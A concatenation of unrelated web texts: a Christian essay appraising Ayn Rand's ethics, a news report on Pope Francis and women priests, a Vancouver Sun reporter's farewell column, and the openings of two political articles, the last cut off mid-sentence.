I do not care to spend my time watching and discussing it.”5 The Impact of Ayn Rand Dr. Ruth Alexander once said in The New York Mirror, “Ayn Rand is destined to rank in history as [an] outstanding novelist and profound philosopher of the twentieth century.”6 Whether or not this historical judgment will prove true in the long run, we may surely say with M. Stanton Evans that the sheer success of her novels in the book market (over twelve million sold) “suggests she has touched some vital nerve deep within the exhausted tissue of our culture. . . .”7 Despite her success the literary establishment considers her an outsider. Almost to a man critics have either ignored or denounced the Book [Atlas Shrugged]. She is in exile among the philosophers too . . . . [L]iberals glower at the very mention of her name, but conservatives too swallow hard when she begins to speak. For Ayn Rand whether anyone likes it or not is sui generis: indubitably, irrevocably, intransigently individual.8 These words of Alvin Toffler were confirmed when one surveyed the critical opinions of Rand’s work. While Nathaniel Branden declared Atlas Shrugged to be “the most original and challenging novel of our age,”9 Newsweek branded the book “a masochist’s lollipop which runs to 1168 pages.”10 Other critics were just as negative, if not as creative: “execrable claptrap,” “a pitiful exercise in something akin to paranoia,” “longer than life and twice as preposterous,” “the worse piece of fiction since The Fountainhead.”11 James Collins, professor of philosophy at St. Louis University, regarded Rand’s writing as “free-floating harangue.”12 Perhaps the most wholesale condemnation came from freelance critic Bruce Cook in The Catholic World: Miss Rand is a profoundly poor writer. To say that her plots are absurdly tendentious, her characters no more than wooden puppets and her diction utterly without grace or beauty (all of which is quite true) is to give no real idea of the quality of her novels, they are completely bad from conception to expression.13 Not only her fiction but also her underlying philosophy, Objectivism, received mainly negative criticism (except at the grassroots, see below). Besides Branden’s sympathetic “Analysis of the Novels of Ayn Rand,”14 there were two major studies on Objectivism both of which were almost entirely negative. Albert Ellis wrote Is Objectivism a Religion? to show that any resemblance between Objectivism and a truly rational approach to human existence is purely coincidental; that Objectivist teachings are unrealistic, dogmatic, and religious; that unless they are greatly modified in their tone and their content they are likely to create more harm than good for the believer in their way of life; and that they result in a system of psychotherapy that is inefficient and unhelpful.15 William F. O’Niell wrote the most detailed and scholarly critique of Objectivism called With Charity Toward None: An Analysis of Ayn Rand’s Philosophy. While his conclusions were negatively critical, he did grant that “whatever else Miss Rand may have achieved, she continues to serve as a useful intellectual catalyst in a society which frequently suffers from philosophical ‘tired blood.’”16 Probably more indicative of establishment sentiments, however, were the philosophical potshots taken in the popular press. Charles Shroder, in a typically vague and platitudinous critique said that “Miss Rand’s ideas appear to be a century or so out of date” and “her philosophical system is just another philosophy of retarded conservatism.”17 Joel Rosenbloon accused her of a “sophomoric analysis of the history of Western philosophy” and added that her own philosophy is “largely pretentious nonsense.”18 Miss Rand’s thought was described as “a sort of Nietzscheism-gone-rabid”19 and she was attacked as an anarchist and an incipient Hitler20 whose “grasp of logic is uncertain” and whose philosophy “is nearly perfect in its immorality.”21 But at the grassroots level, the story of Ayn Rand’s impact was different. All over the country, Randian enthusiasts discussed her books with an almost religious fervor. They still do in 2007. In business luncheons and dormitory bull sessions and neighborhood conversations, the glories of John Galt, Howard Roark, and Leo Kovalensky (Rand’s three heroes) were extolled, and the philosophy they embodied was applied to American culture. Typical conversion stories would include the following. A student recalls, “I was born a Catholic, but I just can’t believe in the gaudiness and fanciness of the Catholic church. I like Howard Roark’s worship of man much better.” A coed in the Midwest who didn’t say what church she had formerly belonged to remarked proudly, “It was only a few weeks after I read Atlas Shrugged that I left the church.”22 A Manhattan retail store executive described his experience after reading The Fountainhead: “I had found my spiritual home.”23 How much Ayn Rand’s philosophy had grown up from the grassroots into the minds of those with governmental power was hard to say. But in September, 1974, Time reported that Alan Greenspan, the Chairman of the President’s Council of Economic Advisers, was a longtime friend and disciple of Ayn Rand.24 In my judgment, Ayn Rand was a very important intellectual voice in America and must be seriously reckoned with if for no other reason than the wide readership her novels have received and are still receiving in the 21st century. But there are other reasons. When first reading Atlas Shrugged and especially the speech of John Galt, which Rand says is the briefest summary of her philosophy,25 I was continually provoked to deeper and clearer perception and thought. I did not share the undifferentiated condemnations against her fiction, which was the among most enthralling I had ever read, or her philosophy, which as O’Neill said was at least “refreshingly abrasive.”26 But even more, Ayn Rand was right on some fundamental issues. The reason I have written this essay is to distinguish between some of the basic truths and errors in her teaching. Or to put it another way, I wanted to ferret out why I was both attracted and repulsed by her philosophy. I choose to focus on her ethics for two reasons: First, because as Toffler says, “Her philosophy . . . encompasses more than economics or politics. Primarily it sets forth a new kind of ethics . . .”27 Second, because her essay, “The Objectivist Ethics,” was the best distillation of her philosophy I read. The Ethics of Ayn Rand: Restatement The best one sentence summary of Ayn Rand’s thought came from the appendix to her greatest novel, Atlas Shrugged: “My philosophy in essence is the concept of man as a heroic being, with his own happiness as the moral purpose of his life, with productive achievement as his noblest activity and reason as his only absolute” (1085). As an atheist and a thoroughgoing laissez-faire capitalist (F, viii),28 she opposed all philosophies and ethical systems based on supernaturalism or collectivism. The one opposes and destroys man’s life on earth by calling for self-sacrifice in hope of a non-existent future life; the other opposes and destroys man’s life by demanding his self-immolation for the sake of an ethereal entity called society. For Ayn Rand, all the emotions of exaltation, worship, reverence, grandeur, and nobility which religion arrogated to God, and collectivism arrogated to society, belonged in fact to man as a rational individual. Thus she said in a commencement address in 1963, “This is the motive and purpose of my writing: the projection of an ideal man.”29 She wanted to portray her characters so that “the pleasure of contemplating these characters is an end in itself” (F, vii). Accordingly, she designated “the sense of life dramatized in The Fountainhead as man-worship” (F, ix). Ayn Rand’s most fundamental premise was, in the words of John Galt, “The axiom that existence exists” (FNI, 124; AS, 942). Then a corollary premise was that man is a conscious being who perceives this existing reality. These two, existence and consciousness, were fundamental, inescapable axioms in any action we undertake: “Whether you know the shape of a pebble or the structure of a solar system, the axioms remain the same: that it exists and that you know it” (FNI, 125; AS, 942). Implied in these two axioms was the law of identity and the law of non-contradiction. A is A; a stone is a stone and not a flower; a thing is what it is and not something else; you cannot have your cake and eat it too. That is the law of identity. Existence is not wishy-washy but a firm base for epistemology. The law of non-contradiction then is the epistemological form of the law of identity: You cannot know A to be A and at the same time know A to be not-A. Two mutually exclusive assertions cannot both be known to be true at the same time. “A contradiction does not exist . . . . To arrive at a contradiction is to confess an error in one’s thinking; to maintain a contradiction is to abdicate one’s mind and to evict oneself from the realm of reality” (FNI, 126; AS, 943). Thus for Ayn Rand, existence and consciousness were coordinate, so that existence or reality was always the standard by which the validity of the judgments of consciousness was measured. To put it another way, metaphysics (“that which pertains to reality, to the nature of things, to existence,” VS, 14) is the foundation and arbiter of epistemology. (See her critique of Kant’s bifurcation of phenomenal and noumenal, FNI, 30f.) In a similar way, metaphysics functioned as the basis of Rand’s axiology, her system of values. Just as being is the foundation of knowing, so it is the foundation of duty. What is prescribes what ought to be. As she said in “The Objectivist Ethics,” “The validation of value judgments is to be achieved by reference to the facts of reality. The fact that a living entity is determines what it ought to do.” This premise must be grasped to understand Rand’s ethical system. Rand argued that “life is the only phenomenon that is an end in itself” (VS, 17). She did not mean mere existence, but rather the life appropriate to the nature of the organism. No more ultimate value than life can be conceived for any given organism when life is defined as the fullness of existence appropriate to one’s nature. But not only is life the highest value of any given organism; life is also that alone which makes the concept of values possible (VS, 16). For, since a “value is that which one acts to gain and/or keep . . . it presupposes an entity capable of acting to achieve a goal in the face of an alternative” (VS, 15). Therefore, without life values are not possible, and so life must be valuable since on it hangs the very validity of the concept of values. If one is to conceive of values at all, he must ascribe value to life or else contradict himself by devaluing that which makes his very devaluation possible. It follows from this that “an organism’s life is its standard of value: that which furthers its life is the good, that which threatens it is the evil” (VS, 17). Or, to be more specific with regard to man, “The standard of value of the Objectivist ethics . . . is man’s life, or: that which is required for man’s survival qua man.” (VS, 23). Again, it is not mere survival, but survival proper to man’s nature. What is this nature? Man’s distinction from the lower forms of life is this: “his consciousness is volitional” (VS, 20) and the knowledge upon which his survival as man depends and which he must achieve by the use of his volition is conceptual rather than merely perceptual (VS, 20). The uniquely human method of using consciousness Rand called “conceptualizing” and describes like this: It is not a passive state of registering random impressions. It is an actively sustained process of identifying one’s impressions in conceptual terms, of integrating every event, and every observation into a conceptual context, of grasping relationships, differences, similarities in one’s perceptual material and of abstracting them into new concepts, of drawing inferences, of making deductions, of reaching conclusions, of asking new questions, and discovering new answers and expanding one’s knowledge into an ever-growing sum. The faculty that directs this process, the faculty that works by means of concepts, is: reason. The process is thinking (VS, 20). If man is to be man he must will to think. His basic means of survival is reason. “No percepts and no instincts will tell him how to light a fire, how to weave a cloth, how to forge tools, how to make a wheel, how to make an airplane, how to perform an appendectomy, how to produce an electric light bulb or an electronic tube or a cyclotron or a box of matches. Yet his life depends on such knowledge—and only a volitional act of his consciousness, a process of thought, can provide it” (VS, 21). The next step in Rand’s ethics was this: Since man’s uniqueness consists in, and his survival depends on, the volitional use of his reason, therefore “that which is proper to the life of a rational being is the good; and that which negates, opposes or destroys it is the evil” (VS, 23). The standard by which every man determines good and evil is the survival or fulfillment of his own life as a rational being. The basic ethical commitment of Ayn Rand was to be rational. That is, she sought a life that accorded with the fact that A is A, and no contradiction in one’s thinking or acting is to be tolerated. Thus in designating her standard of ethics as “rational self-interest,” the emphasis had to fall on the word “rational.” All the virtues follow from this rationality. I will cite several examples. Independence: This is your commitment to think for yourself and to accept the burden and responsibility of your own rational life (FNI, 128). Integrity: This is the conviction that man is an indivisible entity and that no breach can be permitted between body and mind, between action and thought, between his life and his convictions (FNI, 129; AS, 945). To forsake integrity is to try to fake your own consciousness, to think yes and do no, to live a contradiction. Honesty: “This is the recognition of the fact that the unreal is unreal and can have no value, that neither love nor fame nor cash is a value if obtained by fraud . . . honesty . . . is the most profoundly selfish virtue man can practice: his refusal to sacrifice the reality of his own existence to the deluded consciousness of others” (FNI, 129; AS, 945). Justice: This is the recognition of the fact that you cannot fake the character of men. A is A and you cannot identify a person as A and treat him as non-A. “Every man must be judged for what he is and treated accordingly . . . just as you do not pay a higher price for a rusty chunk of scrap than for a piece of shining metal, so you do not value a rotter above a hero . . . To withhold your contempt from men’s vices is an act of moral counterfeiting, and to withhold your admiration from their virtues is an act of moral embezzlement” (FNI, 129; AS, 946). The virtue of justice has vast implications for inter-human relations. It affirms that “the principle of trade is the only rational ethical principle for all human relationships, personal and social, private and public, spiritual and material” (VS, 31). Justice means that “one must never seek or grant the unearned and undeserved, neither in matter nor in spirit” (VS, 26). Hence, the heroes of Atlas Shrugged take this oath: “I swear by my life and my love of it that I will never live for the sake of another man, nor ask another man to live for mine” (AS, 680, 993). All self-sacrifice is evil because “sacrifice is the surrender of a greater value for the sake of a lesser one or of non-value. Thus altruism gauges a man’s virtue by the degree to which he surrenders, renounces or betrays his values (since help to a stranger or an enemy is regarded as more virtuous, less ‘selfish’ than help to those one loves). The rational principle of conduct is the exact opposite: always act in accordance with the hierarchy of your values and never sacrifice a greater value to a lesser one” (VS, 44). To forsake this ambition is to forsake the only standard by which rational choices can be made. The man who loses his ambition to achieve his own values loses his ambition to live (FNI, 130; AS, 946). He thus forsakes the ground and standard of any rational ethics and must opt for some mystic (God), social (society), or subjectivist (desire) theory of ethics (VS, 34). In this way Ayn Rand provides the philosophical underpinnings of her ethics. To sum it up again in her words: “My philosophy in essence is the concept of man as a heroic being, with his own happiness as the moral purpose of his life, with productive achievement as his noblest activity and reason as his only absolute” (AS, 1085). The Ethics of Ayn Rand: Appreciation I agree with Ayn Rand that if man is to survive and live as man, he must live by his reason. That is he must think clearly about reality and make judgments on the basis of what he perceives to be real. “Why do you not judge for yourselves what is right?” Jesus asked (Luke 12:57; see 1 Corinthians 10:15; 11:13). It is true that whatever negates, opposes, or destroys rationality or logic is evil. Blind faith is not a virtue. John Galt, the hero of Atlas Shrugged, is right when he says: Do not say that you’re afraid to trust your mind because you know so little. Are you safer in surrendering to mystics and discarding the little you do know? Live and act within the limit of your knowledge and keep expanding it to the limit of your life. Redeem your mind from the hock-shops of authority. Accept the fact that you are not omniscient, but playing a zombie will not give you omniscience—that your mind is fallible but becoming mindless will not make you infallible—that an error made on your own is safer than ten truths accepted on faith, because the first leaves you the means to correct it, but the second destroys your capacity to distinguish truth from error. (FNI, 178; AS, 982) No concept man forms is valid unless he integrates it without contradiction into the total sum of his knowledge. To arrive at a contradiction is to confess an error in one’s thinking; to maintain a contradiction is to abdicate one’s mind and to evict oneself from the realm of reality (FNI, 126; AS, 943). The necessity and rightness of rationality is, so far as I can see, unimpeachable. Accordingly, I am willing to follow her defense of the virtues of independence (making one’s own judgments), integrity (practicing what you preach), honesty (maintaining a freedom from contradiction between your words and your convictions), and productivity (the ambitious struggle to achieve your values). I agree without reserve that one should “always act in accordance with the hierarchy of one’s values and never sacrifice a greater value to a lesser one” (VS, 44). And so long as Rand defines self-sacrifice as “the surrender of a greater value for the sake of a lesser one” (VS, 44), I will agree that all self-sacrifice is evil. She was right that the rational man should be dedicated to “the goal of reshaping the earth in the image of his values” (VS, 26). Since your values are determined by the reality of who you are as a rational man, the struggle to achieve your values is the struggle to live. But the ambition and effort to experience life as a man is merely the existential form of the ambition (in psychological form) to be happy (VS, 29). Rand makes it very clear that by happiness she does not mean just any kind of pleasure. Self-interest must be qualified by “rational” (VS, 60): only that which is proper to a rational being is good and the ground of true happiness (VS, 23). This is why she opposes traditional hedonism which declares that “the proper value is whatever gives you pleasure” (VS, 30). Happiness, for Ayn Rand, “is a state of non-contradictory joy—a joy without penalty or guilt, a joy that does not clash with any of your values and does not work for your own destruction” (VS, 29). On the basis of this definition, I am willing to say yes to the following sentence: “The achievement of his own happiness is man’s highest moral purpose” (VS, 27). The meaning of this sentence is not that a feeling is exalted above the nature of reality in guiding our choices. The sentence rests on the conviction that reality is such that true happiness—“non-contradictory joy”—is the inevitable outcome of a life devoted to the principle that A is A, and that there is no true joy to be found in faking reality in any way. For the rational man, the aim to be happy is the aim to realize his values, and the aim to realize his values is the aim to live as a man, and the aim to live as a man is an effort to take reality seriously, to respond properly to the axiom A is A, Man is Man (FNI, 125; AS, 942). I cannot fault the basic validity of this approach to ethics. It is my own, as far as it goes. The Ethics of Ayn Rand: Critique It may have been noticed that in the list of Rand’s virtues above, which I condoned, justice and pride were omitted. This is not because I disagree with everything she said about them, but because the Christian cannot follow her consistently at these points. Rand argued that one must never “grant the unearned or undeserved, neither in matter nor in spirit” (VS, 26). Men must deal with each other as traders not as looters and parasites. The Christian, on the other hand, is instructed: “bless those who curse you” (Luke 6:28). In short, Ayn Rand has no place for mercy, whereas Christianity has mercy at its heart. Why was there this conflict here? I think it was due to Rand’s thoroughgoing immanentalism: the complete rejection of a divine or supernatural dimension to reality. If she was right in her atheism and naturalism, then I think her system was consistent at the point of demanding only justice. Given the scope of reality that Ayn Rand took into account, the axiom A is A demands that men always trade value for value. But if Ayn Rand was wrong about God, if he exists, and, as St. Paul said, “made the world and everything in it . . . and is not served by human hands, as though he needed anything, since he himself gives to all men life and breath and everything” (Acts 17:24f), if such a God exists (and Ayn Rand offered no argument to the contrary, only the assertion),30 then a radically new dimension of reality must be reckoned with and a corresponding new value should guide man’s behavior. The new fact of reality is that God cannot be traded with as a man. There is nothing that man can offer to God that is not already his. You cannot exchange value for value with one from whom you have life, breath, and everything. You must, as a creature, own up to your total dependence on mercy and be content with it or, by an act of irrational rebellion, evict yourself from the realm of reality and try to live a contradiction. In view of the nature of reality, the rational man’s highest value will be the admiration and enjoyment of his Maker and Redeemer. This value implies at least three others: First, it implies the value of knowing and being with God. The virtues that aim to achieve this value are study of and meditation upon divine realities. The second value implied in my admiration of God is the value of summoning others to see how valuable God is so that they can admire and enjoy his excellence. This is implied because it is a psychological necessity to want to increase my joy in God’s beauty by admiring it in another’s admiration for it. When the beauty of God is reflected in my neighbor’s delight in that beauty, my joy in that beauty is compounded. The virtue which aims to achieve this value is called evangelism or witness or apologetics. The third value implied in my admiration and enjoyment of God is a style of behavior in inter-human relationships which advertises the value I place upon the mercy of God. It is precisely here where Ayn Rand’s contempt for mercy would have to be altered. If I am to be true to my highest value—the excellence of God including his mercy—my behavior will have to reflect it in merciful acts. Ayn Rand’s devastating criticism of altruism missed the point of Christian mercy.31 She could only conceive of mercy in terms of our sacrificing our greater values to lesser ones. The Christian sacrifices no values in blessing those who curse him, nor is his behavior causeless or aimless. It is an achievement of his own dependence on and love for the merciful God. It is caused by God’s mercy, and it aims to transform the enemy into one who treasures God above all things. It is thus a self-benefiting act, compounding, as it does, the joy of the believer. What Ayn Rand means by altruism is indeed ugly and can be seen best in the words of Lillian Rearden to her husband in Atlas Shrugged. Here is the essence of the evil of altruism, as Rand saw it: If you tell a beautiful woman that she is beautiful, what have you given her? It’s no more than a fact and it costs you nothing. But if you tell an ugly woman that she is beautiful you offer her the great homage of corrupting the concept of beauty. To love a woman for her virtues is meaningless. She’s earned it, it’s a payment, not a gift. But to love her for her vices is to defile all virtue for her sake—and that is a real tribute of love, because you sacrifice your conscience, your reason, your integrity and your invaluable self-esteem (AS, 290). Since Ayn Rand had no place for a sovereign all-sufficient God who cannot be traded with, she did not reckon with any righteous form of mercy. All the antagonists of her books were corrupt by almost any standard and surely by a Christian one. It is indeed evil to love a person “for their vices”; it is evil “to give unearned respect” (AS, 367). But mercy in the Christian sense is not respect, nor is it a payment for someone’s vices. It is not “because of” vices, but “in spite of” vices. It is not intended to reward evil, but to reveal the bounty of God who cannot be traded with but only freely admired and enjoyed. It aims not to corrupt or compromise integrity, but to transform the values of the enemy into the values of Christ. While it may mean the sacrifice of some temporal pleasures, it is never the sacrifice of my values and so is never self-less. But the sacrifice of lower values to higher ones—a night’s rest for the timely delivery of a steel shipment—such sacrifice Ayn Rand believed in deeply. Therefore, Ayn Rand’s philosophy did not need to be entirely scrapped. Rather, it needed to take all of reality into account, including the infinite God. In this case her own premise—A is A—would have demand an alteration in what she conceived as rational and how she evaluated mercy. Since she claimed to “provide men . . . with an integrated and consistent view of life,” this alteration would have meant a rebuilding of the whole structure. No detail of her philosophy would have been left untouched. But enough has been said here. That reconstruction is the job of a lifetime. That is where the original essay ended. She was living at the time. She died on March 6, 1982. I sent her a copy with a personal letter, pleading that she rethink her ethics by taking all of reality into account, namely, the all-embracing reality of God. I don’t know if she ever received or read the letter or the essay. Her way of looking at the world strikes me still today in 2007 as amazingly perceptive and tragically provincial. So much in the world is seen so with a kind of truncated accuracy. But leaving God out of account distorts all reality. May the Lord give us eyes to see the world with as much sharpness as Ayn Rand, and with far more fullness and truth. Footnotes 1 The only authorized biography of Ayn Rand is “A Biographical Essay” in Nathaniel Branden and Barbara Branden, Who is Ayn Rand?, (New York: Random House, 1962), pp. 149-239. It is an interesting but idealized portrait that reads just like a Rand novel. 2 “The Chairman’s Favorite Author,” Time, 104 (1974), p. 87. These numbers continue to climb and Atlas Shrugged is ranked #222 today (10-9-07) on Amazon. 3 “About the Author” in appendix to Atlas Shrugged, (New York: Signet, 1957), p. 1085. 4 John Kobler, “The Curious Cult of Ayn Rand,” Saturday Evening Post, 11 November, 1961, p. 91. 5 Time, 107 (1976), p. 32. 6 Cited in Bruce Cook, “Ayn Rand: A Voice in the Wilderness,” Catholic World, 201 (May, 1965), p. 119. 7 “The Gospel According to Ayn Rand,” National Review, 19 (October 3, 1967), p. 1060. In 1991 there was a wide-ranging survey that ranked Atlas Shrugged only behind the Bible as the book people said influenced them most. Most consider the claim exaggerated, but it points to a very significant impact (http://en.wikipedia.org/wiki/Ayn_rand#_note-17). 8 Alvin Toffler, “Ayn Rand: A Candid Conversation with the ‘Fountainhead’ of ‘Objectivism,’“ Playboy, 11 (March, 1964), p. 35. 9 Who is Ayn Rand?, p. 5 10 “Born Eccentric,” Newsweek, 21 (March 27, 1961), p. 104. 11 “The Curious Cult of Ayn Rand,” p. 99. 12 “The State of the Question,” America, (July 29, 1961), p. 569. 13 “Ayn Rand: A Voice in the Wilderness,” p. 122. 14 Who is Ayn Rand?, pp. 1-148. 15 Is Objectivism a Religion? (New York: Lyle Stuart, Inc., 1968), p. 11. 16 With Charity Toward None, (New York: Philosophical Library, 1971), p. 14. 17 “Ayn Rand: Far Right Prophetess,” Christian Century, 78 (December 13, 1961), p. 1494. 18 “The Ends and Means of Ayn Rand,” The New Republic, 144 (October 24, 1961), p. 29. (For a perceptive and balanced critique of her understanding of history see M. Stanton Evans, “The Gospel According to Ayn Rand.”) 19 “Ayn Rand: A Voice in the Wilderness,” p. 123. 20 “The Gospel According to Ayn Rand,” p. 1059. 21 Gore Vidal, “Comment,” Esquire, 56 (July, 1961), p. 27. This attack was effectively answered in a following issue: Leonard Peikopf, “Atlas Shrieked,” Esquire, 56 (October, 1961), p. 20. 22 Originally told by Robert L. White in New University Thought (Autumn, 1962). These and other accounts are recounted in “Ayn Rand: A Voice in the Wilderness.” 23 Dora J. Hamblin, “The Cult of Ayn Rand,” Life, 62 (April 7, 1967), p. 95. 24 “The Chairman’s Favorite Author,” p. 87. 25 The speech is printed separately in For the New Intellectual (New York: Signet, 1961), pp. 117-192. 26 With Charity Toward None, p. 15. 27 “Ayn Rand: A Candid Conversation,” p. 35. 28 In the rest of the essay, I will use the following abbreviations of the Signet paperback editions of her works: Atlas Shrugged (AS), The Fountainhead (F), For the New Intellectual (FNI), The Virtue of Selfishness (VS). 29 The Romantic Manifesto: A Philosophy of Literature, (New York: World Pub. Co., 1969), p. 160. 30 That is, in all the works I have read, atheism is assumed. If she argued for this position, I am not aware of it. 31 This problem of shooting down a bogus altruism is addressed by William O’Neill in With Charity Toward None, pp. 201ff, but not from a Christian perspective. -Pontiff’s reply to journalist asking about church’s position is not change in stance, but will disappoint advocates of change Pope Francis has ruled out a woman ever serving as a priest in the Roman Catholic church. The declaration is not a change in stance for the Argentinian pope, who has always said the door was closed on women being ordained as priests. But when he was asked and then pressed on the matter by a Swedish journalist during a press conference onboard the papal plane, Francis suggested the ban would be eternal. “Saint Pope John Paul II had the last clear word on this and it stands, this stands,” Francis said in his initial response, referring to a 1994 document stating that women could never join the priesthood. 'Some women disobey': Rome poster campaign challenges Catholic ban on female priests Read more “But for ever, for ever? Never, never?” the reporter asked in a follow-up question, as the papal delegation flew back to Rome from Sweden on Tuesday. Francis replied: “If we read carefully the declaration by St John Paul II, it is going in that direction.” The pope went on to say women did “many other things better than men”, emphasising what has been called the “feminine dimension of the church”. “People ask me: ‘Who is more important in the theology or in the spirituality of the church, the apostles or Mary, on the day of Pentecost?’ It is Mary,” he said. He then added: “More.” But Francis’s praise of women will do little to comfort feminist Catholics who want women to have a broader role in the church, including ordination. The church has always responded to criticism of the ban on women by pointing out that Jesus only chose men as his apostles. Proponents of a change argue, among other points, that the church is facing a shortage of priests. Francis seemed to open the possibility that women might become ordained deacons earlier this year, when he commissioned a study of the role female deacons played in the early church. Women have been barred from the priesthood for centuries. Under current rules, deacons are ordained similarly to ministers, and are men. While they cannot celebrate mass, they are allowed to preach and conduct some ceremonies, including baptisms, wakes and funerals. The pope’s remarks came a day after he signed a joint declaration with Lutherans, which commemorated the Reformation and stated that the two Christian traditions had more in common than differences. When he landed in Sweden, Francis was greeted by the female head of the Swedish Lutheran church, Antje Jackelén. The issue of women’s inequality in the Catholic church remains a hot topic among activists, despite Francis’s position. At a recent gathering, representatives of Catholic priest movements and international lay organisations called for reform on issues including equality for women and LGBT rights. In a statement released by organisers, Kate McElwee, the co-executive director of the Women’s Ordination Conference, said: “In this space, we wrestled with the damaging effects of oppressive structures, knowing that patriarchy and hierarchy hurt us all. “We discovered, time and again, that by sharing as equals and asking hard questions, we can transform ourselves, our church and our world.” -There is a very old symbol that journalists use to mark the end of a story. The characters “-30-“, when placed at the bottom of the copy, signify the writer is finished. The origin of the so-called “end mark” has a murky history but some believe it is a modern translation of XXX, the Roman numerals journalists used to type at the end of copy. In this increasingly digital time the end mark has largely fallen into disuse, an anachronism that like both the typewriter and longhand copy has largely disappeared. But for me, that -30- has a special meaning. In December I marked 30 years with The Vancouver Sun as a reporter and editor. It is time I place that mark at the end of my own story with a newspaper I have loved and served. In leaving the combined newsroom that now puts out both The Sun and its sister, The Province I end a daily reporter’s career that has been immensely challenging and rewarding. It is a career that has taken me to extremes, geographically, physically and socially. All told I have spent nearly 40 years as a news reporter, much of the first decade working in some of B.C.’s more interesting weekly newspapers. I place a lot of weight for the trajectory of my career on Jack Reid, the publisher of the once fiercely-independent Hope Standard, a weekly at the eastern edge of the Fraser Valley. From the moment Reid, a tall, balding – and on the face of it – perpetually grumpy old man hired me as a wet-behind-the-ears 20-year-old, I have been in love with story-telling and the hard but rewarding craft of journalism. “It’s the who, what, where, when, why that counts – and don’t forget it is ‘rink’ and not ‘team’ in curling” – Jack Reid, The Hope Standard. Along the path of my career I have met interesting and unforgettable people. I have had a front-row seat to history in which most people never get to sit. I have watched as technology changed the way we do things and sped up the world. My first stories for Jack as a correspondent from the Fraser Canyon (no kidding!) were written on an old 1940’s Royal KMM typewriter, which I still have. Ours was a tiny hot-metal job shop, with an old Linotype on which Jack would set galleys of type for business forms, which would then be printed on a platen press. Our paper was printed in Abbotsford, and I would deliver copies up and down the Fraser Canyon in an old 1969 Datsun 210. Long after the computer replaced the typewriter and hot metal gave way to offset printing, I still love the tactile touch of keys and the message it sends to me that I am, once again, crafting a story for people to read. How could I not love The Sun for sending me to Iraq to cover a war, and finding amidst death and destruction stories of hope sprouting from the ground torn asunder by Saddam Hussein? Who could not be proud of front-page stories developed from a hunch that righted wrongs and helped put fraudsters and telemarketing crooks in jail? Of writing blogs such as Civic Lee Speaking and my Olympics-themed Red Mittens Diary. (And be willing to leave alone the risque photo that went with it!) How could I ignore, even as my heart broke, compelling stories told by survivors of tragedy or by their rescuers? And how could I pass by without interest the workings of governments that have profound effect on the people they govern? And how could I not love this newspaper for instilling in me a profound love for running. I was the Sun Run’s first poster child in 1987 for how to go through a six-week training program to learn how to run. It led to marathons and triathlons, and ultimately to me completing two Ironman Canada events. Now, as I leave the newsroom I am once again a Sun Run guinea pig, writing about running and exercising as a 59-year-old with Type 2 diabetes. I have covered Vancouver City from Gordon Campbell to Gregor Robertson, with a few interruptions for other beats. I have watched the city grow, and not a few times I have smacked myself in the forehead when some city councilor proposes a “new idea” for fixing an old problem not realizing it was already an old idea best forgotten. The institutional knowledge I carry is both wonderful and a curse. I leave daily journalism at a perilous time for both the public and the truth. The rise of fake news, reality shows far from reality, entertainment “news” and the wholesale undermining of bedrock trust in journalism by people like the new U.S. president, Donald J. Trump, point to a consequential diminishing of society. The news industry – and by that I really mean the newspaper business – was already undergoing a seismic shift long before we began to hear words like Trump’s “alternative facts”. Who would have thought that “Craigslist” would be the first of many digital worms to chew through the pilings holding up society’s news and communications infrastructure, and consequently public trust? A free ad? It’s not really free. It comes at considerable cost, if felt only years down the road in the loss of jobs, the retrenching of business and the loss of stability in mainstream news agencies. But I also leave at an important time for the news industry as it reshapes and clarifies its value especially in the era of fake news. Great journalism is now being told in new and compelling ways, through digital methods unavailable when Jack first taught me my craft on my sticky-keys Royal. Today, you’re able to see news as it unfolds immediately and yet have contextual reporting just as quickly that adds layers to what you know. Videos. Explanatory graphics. Analysis. Commentary. History. All elements that when I started with The Sun in 1986 would have required extra editions and extra days to deliver. Where do you think the online rip-off artists and “free” news aggregators get their news stories from? Mainstream media agencies like The Sun that employ and pay the freight for people like me. Lose us and you really lose trust. I have great hope for both my craft and for my beloved Vancouver Sun. In the newsroom work some incredibly talented and engaged people. We’re not immune to the cutbacks and buyouts that have affected the entire industry. I am, after all, one of those taking a buyout. But I depart firmly believing that those folks left in the newsroom are piloting a pair of venerable newspapers – and their attendant online identities – into a new and secure future. The Sun may not be the same newspaper that I worked at for so many years, and The Province has lost some of its Tabloidesque habits, but they still are the nervy, solid, in-your-face, trustworthy Western Canadian anchors to this country’s news business. Thanks for the ride. You’ll find me still writing and commenting on social media such as my Twitter and Facebook accounts and here. And, increasingly, shepherding our Honey Bee Zen Apiaries, producing fine B.C. honey. – 30 – for 30. For those who really want to contact me, I’m at jeff@jefflee.ca -THE white working-class men who are planning to vote for Donald J. Trump this November have been called many things: xenophobic, racist, misogynist, dangerously naïve. But even if those descriptions are true, it doesn’t mean these men were fated to be Trump supporters. Recent research in social science and history suggests that they might have been out front in the fight against Mr. Trump — if only the American labor movement weren’t a shell of its former self. When we think about unions, what typically come to mind are interest groups concerned with wages, benefits and working conditions. Scholars, however, have shown what everyone in politics knows instinctively: Unions are also political organizations that, under the right circumstances, can powerfully channel the working-class vote. A classic study on this subject was done by the sociologist Seymour Martin Lipset. In a 1959 paper, he demonstrated that while the working class in most countries favors economic liberalism, it also displays an authoritarian streak. Using evidence from surveys, Mr. Lipset found blue-collar workers to be less committed to democratic norms like tolerance for political opponents, preference for rational argumentation over charismatic appeals and support for the rights of ethnic and racial minorities. These tendencies, he claimed, were a function of lower levels of education and the isolation of many workers (for example, coal miners) from people who were different from them. Authoritarian attitudes also owed something to the work itself. Controversially, he suggested that manual work was at odds with the abstract thinking required to appreciate complex, pluralistic solutions to political problems. -President Trump shakes hands with Rex Tillerson after Tillerson was sworn in as secretary of state, as Tillerson’s wife, Renda St. Clair, looks on. Michael Reynolds-Pool/Getty Images A few things that happened Monday: Former Exxon Mobil chairman and CEO—and current secretary of state—Rex Tillerson was scheduled to meet with President Trump in Washington at 1:35 p.m. EST, according to a schedule provided to reporters. Current Exxon Mobil chairman and CEO Darren Woods used a keynote address at an energy conference in Houston to tout his company’s Growing the Gulf initiative, described as a $20 billion investment in nearly a dozen projects in Louisiana and Texas. According to the conference agenda, Woods took the stage between 3:10 p.m. EST and 3:40 p.m. EST.* Exxon Mobil issued a 400-odd-word press release about its Gulf Coast initiative at 3:10 p.m. EST. The White House issued a 350-odd-word press release congratulating the company on its announcement—and touting it as an evidence of the president delivering on his “promise to bring back jobs to America.” That statement went out at 3:43 p.m. EST and Trump then tweeted it out at 4:19 p.m. The two statements had plenty more in common than simply the topic. A snippet from the Exxon release: ExxonMobil is strategically investing in new refining and chemical-manufacturing projects in the U.S. Gulf Coast region to expand its manufacturing and export 